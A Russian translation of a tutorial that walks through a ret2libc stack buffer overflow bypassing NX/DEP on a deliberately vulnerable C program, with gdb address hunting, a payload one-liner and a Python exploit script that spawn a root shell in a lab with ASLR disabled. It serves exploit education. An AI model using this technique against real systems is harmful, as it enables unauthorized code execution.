Создание эксплойта: Переполнение стека буфера – Обход NX/DEP

В этом посте я продемонстрирую обход DEP/NX, используя обратно ориентированное программирование.

#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buffer[20];
strcpy(buffer, argv[1]);
printf("%s\n",buffer);
return 0;
}
[email protected]:~# gcc vulnerable.c -o vulnerable -fno-stack-protector

Однако, в этот раз мы активируем DEP/NX, используя execstack. Если вы компилируете новый исполнимый файл, он уже будет иметь активированный DEP, но убедитесь, что компиляция проведена с использованием опции -fno-stack-protector, т.к. это не обходит stack canaries.

[email protected]:~# execstack -c ./vulnerable
[email protected]:~# execstack -q ./vulnerable - ./vulnerable
Нам по-прежнему нужен отключенный ASLR, т.к. следующая атака не обходит ASLR.
[email protected]:~# echo 0 > /proc/sys/kernel/randomize_va_space

Возвращение к -to-libc атаке (ret2libc)

Уязвимая программа использует только две функции из включенных библиотек printf и strcpy. Однако, вся stdio и строковые библиотеки все еще привязываются и загружаются в память каждый раз, когда выполняется программа. Это позволит экспойту переполнения буфера потенциально перенаправить поток к функции, содержащейся в связанных библиотеках, что может позволить воспользоваться преимуществом для запуска вредоносного кода. Одна такая функция является системной, которая может быть использована для запуска системных команд с помощью переписывания стека вызова программы и замены местами обратного адреса хранящегося на стеке, благодаря функции strcpy и адреса системной функции.

Это заинтересует вас:

Системная функция, однако, ожидает, что у стека есть аргумент для функции в топе, за которым следует обратный адрес для системной функции. Перед тем как strcpy функция вернется, топ стека будет выглядеть следующим образом:

<arguments to main> - 4 bytes
<return address of main> - 4 bytes
<ebp stored by main> - 4 bytes
<buffer> - 28 bytes
<address of buffer> - 4 bytes

Обходя буфер, мы можем перенаправить обратный адрес strcpy к точке системной функции в памяти и добавить дополнительные элементы в топ стека, чтобы использовать их как аргумент и обратный адрес для системной функции. Стек будет выглядеть следующим образом:

<argument to system> - 4 bytes
<return address for system> - 4 bytes
<address of system> - 4 bytes
<overwritten stored ebp> - 4 bytes
<buffer> - 28 bytes
<address of buffer> - 4 bytes

Как мы можем увидеть, отправляя буфер соответствующего размера, мы можем переписать хранящиеся локации памяти, находящиеся напротив, и выполнить произвольный код после возврата основной функции.

Это может быть достигнуто путем нахождения размера буфера в стеке и последующей перезаписи соответствующей позиции в нем. Я использовал gdb для этого, потому что в нем на несколько полезных особенностей больше, чем в edb.

[email protected]:~# gdb -q ./vulnerable
Reading symbols from /root/vulnerable...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:

0x0804844c <+0>: push %ebp
0x0804844d <+1>: mov %esp,%ebp
0x0804844f <+3>: and $0xfffffff0,%esp
0x08048452 <+6>: sub $0x30,%esp
0x08048455 <+9>: mov 0xc(%ebp),%eax
0x08048458 <+12>: add $0x4,%eax
0x0804845b <+15>: mov (%eax),%eax
0x0804845d <+17>: mov %eax,0x4(%esp)
0x08048461 <+21>: lea 0x1c(%esp),%eax
0x08048465 <+25>: mov %eax,(%esp)
0x08048468 <+28>: call 0x8048320 <[email protected]>
0x0804846d <+33>: lea 0x1c(%esp),%eax
0x08048471 <+37>: mov %eax,(%esp)
0x08048474 <+40>: call 0x8048330 <[email protected]>
0x08048479 <+45>: mov $0x0,%eax
0x0804847e <+50>: leave
0x0804847f <+51>: ret

End of assembler dump.

На 0x08048468 вызывается функция strcpy и в следующей инструкции esp перемещается с помощью символов 0x1c, чтобы загрузить указатель в eax, который показывает, что на буфер длиной в 0x1c или 28 байт. Теперь нам нужно найти адрес памяти системной функции и передать что-то в качестве аргумента к нему. На самом деле, библиотека C содержит строчку «/bin/sh», которую мы можем использовать, чтобы прикрепиться к shell в программе путем применения ее в качестве аргумента для системы.

(gdb) break main
Breakpoint 1 at 0x804844f
(gdb) run
Starting program: /root/vulnerable
Breakpoint 1, 0x0804844f in main ()
(gdb) print system
$1 = {} 0xb7eab6b0
(gdb) find &system, +99999999, "/bin/sh"
0xb7f9a474
warning: Unable to access target memory at 0xb7fbd6fc, halting search.
1 pattern found.

Теперь, когда у нас есть наш адрес для системы и для «/bin/bash», мы можем сделать новый эксплойт, который обходит DEP и дает нам шелл.

[email protected]:~# ./vulnerable $(python -c 'print "A"*32 + "\xb0\xb6\xea\xb7" + "A"*4 + "\x74\xa4\xf9\xb7"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAt�

# id

uid=0(root) gid=0(root) groups=0(root),27(sudo)

# uname -a

Linux kali 3.18.0-kali3-586 #1 Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux

Мы можем написать вышеуказанный пейлоад в более понятной форме также как и python script.

#!/usr/bin/python

from struct import pack

buffer = ""
offset = "A"*32
binsh = pack("<L",0xb7f9a474)
sys = pack("<L", 0xb7eab6b0)

buffer += offset
buffer += sys
buffer += "A"*4
buffer += binsh

print buffer

И пользуясь нашей уязвимой программой, мы получаем shell.

[email protected]:~# ./vulnerable $(python vulnerablerop.py)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAt�

# id

uid=0(root) gid=0(root) groups=0(root),27(sudo)

# uname -a

Linux kali 3.18.0-kali3-586 #1 Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux

В случаях, когда эксплуатация не является прямой, например, отсутствие строки «/bin/sh» в памяти, нам необходимо использовать гаджеты ROP, чтобы создать и хранить строку в доступной локации памяти. ROP гаджет — просто набор инструкций языка ассемблере с последующей командой возврата, который уже загружен в память как часть программы. Эти гаджеты предоставляют особые функции, которые мы можем соединить вместе, чтобы выполнить произвольный код. ROP является Turing complete и может быть использован для имитации любого кода. Вы можете найти дополнительную информацию о ROP по следующим ссылкам: ROP primer by bas here, by Corelan Team here, by b33f here.

Перевод: Анна Давыдова
Источник: tehaurum.wordpress.com

Оставьте комментарий